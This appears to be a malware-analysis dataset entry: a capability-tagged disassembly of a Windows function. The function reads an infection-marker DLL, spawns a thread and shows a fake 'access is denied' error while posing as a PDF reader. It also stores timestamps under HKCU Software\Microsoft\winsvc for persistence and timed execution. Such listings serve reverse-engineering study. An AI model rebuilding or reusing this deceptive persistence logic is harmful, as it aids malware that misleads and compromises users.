Function at 0x4015a9
Capabilities:
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov dword [esp + 4], 0x40a0ce
mov dword [esp], str.c:windows_system32_syssh32.dll
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
je 0x401630
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0xc]
shr eax, 4
xor eax, 1
and eax, 1
test eax, eax
je 0x401622
mov eax, dword [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 1
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jle 0x4015d5
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 8], 0x1d
mov dword [esp + 4], str.the_shade_love_you_so_so_much
lea eax, [ebp - 0x88]
mov dword [esp], eax
call fcn.0040468f
test eax, eax
je 0x40165e
mov dword [0x408484], 0
jmp 0x401696
mov dword [esp + 8], 0x20
mov dword [esp + 4], str.the_shade_doesnt_want_you_death
lea eax, [ebp - 0x88]
mov dword [esp], eax
call fcn.0040468f
test eax, eax
je 0x40168c
mov dword [0x408484], 1
jmp 0x401696
mov dword [0x408484], 0xffffffff
cmp dword [0x408484], 0
jne 0x4016ab
mov dword [esp], 0
call sub.msvcrt.dll_exit
lea ecx, [ebp - 0x138]
mov edx, 0x408488
mov eax, 0xa0
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.ntdll.dll_memcpy
mov dword [ebp - 0x90], 0
cmp dword [ebp - 0x90], 4
jg 0x401710
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 0x90]
shl eax, 5
lea eax, [edx + eax]
mov dword [esp + 4], eax
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x401706
jmp 0x401710
lea eax, [ebp - 0x90]
inc dword [eax]
jmp 0x4016d5
cmp dword [ebp - 0x90], 4
jle 0x401788
lea eax, [ebp - 0x8c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x40a135
mov dword [esp + 8], 0x4019a2
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x401788
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str._nError_number_909:_n_nAcsses_is_denied._n
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
lea ecx, [ebp - 0x88]
mov edx, str.PDF_Reader
mov eax, 0x54
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.ntdll.dll_memcpy
mov dword [ebp - 0x13c], 0
cmp dword [ebp - 0x13c], 0xb
jg 0x401867
lea ecx, [ebp - 0x88]
mov edx, dword [ebp - 0x13c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
lea eax, [ecx + eax]
mov dword [esp + 4], eax
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x40185a
mov dword [esp], 0
call sub.msvcrt.dll_time
mov edx, eax
mov eax, dword [0x4083e0]
imul eax, eax, 0xfffeae80
lea eax, [edx + eax]
add eax, 0x15180
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a163
lea eax, [ebp - 0x248]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x248]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.winsvc
mov dword [esp + 4], str.SoftwareMicrosoftwinsvc
mov dword [esp], 0x80000001
call fcn.0040416f
jmp 0x401867
lea eax, [ebp - 0x13c]
inc dword [eax]
jmp 0x4017b2
lea ecx, [ebp - 0x248]
mov edx, str.PDF_book
mov eax, 0x40
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.ntdll.dll_memcpy
mov dword [ebp - 0x8c], 0
cmp dword [ebp - 0x8c], 3
jg 0x4018d1
lea edx, [ebp - 0x248]
mov eax, dword [ebp - 0x8c]
shl eax, 4
lea eax, [edx + eax]
mov dword [esp + 4], eax
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x4018c7
call fcn.00403c5c
jmp 0x4018d1
lea eax, [ebp - 0x8c]
inc dword [eax]
jmp 0x401891
mov dword [esp + 4], 0x40a188
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x4018ee
call fcn.00403981
mov dword [esp + 4], str.start
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x401963
mov dword [esp], 0
call sub.msvcrt.dll_time
sub eax, 0x3f480
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a163
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x348]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.winsvc
mov dword [esp + 4], str.SoftwareMicrosoftwinsvc
mov dword [esp], 0x80000001
call fcn.0040416f
call fcn.0040298d
mov dword [0x40c018], eax
mov eax, dword [0x40c018]
mov dword [esp + 4], eax
mov dword [esp], str.Date_Diff___d_n
call sub.msvcrt.dll_printf
cmp dword [0x408484], 1
jne 0x4019a0
cmp dword [0x40c018], 7
jg 0x4019a0
mov dword [esp], 0
call sub.msvcrt.dll_exit
leave
ret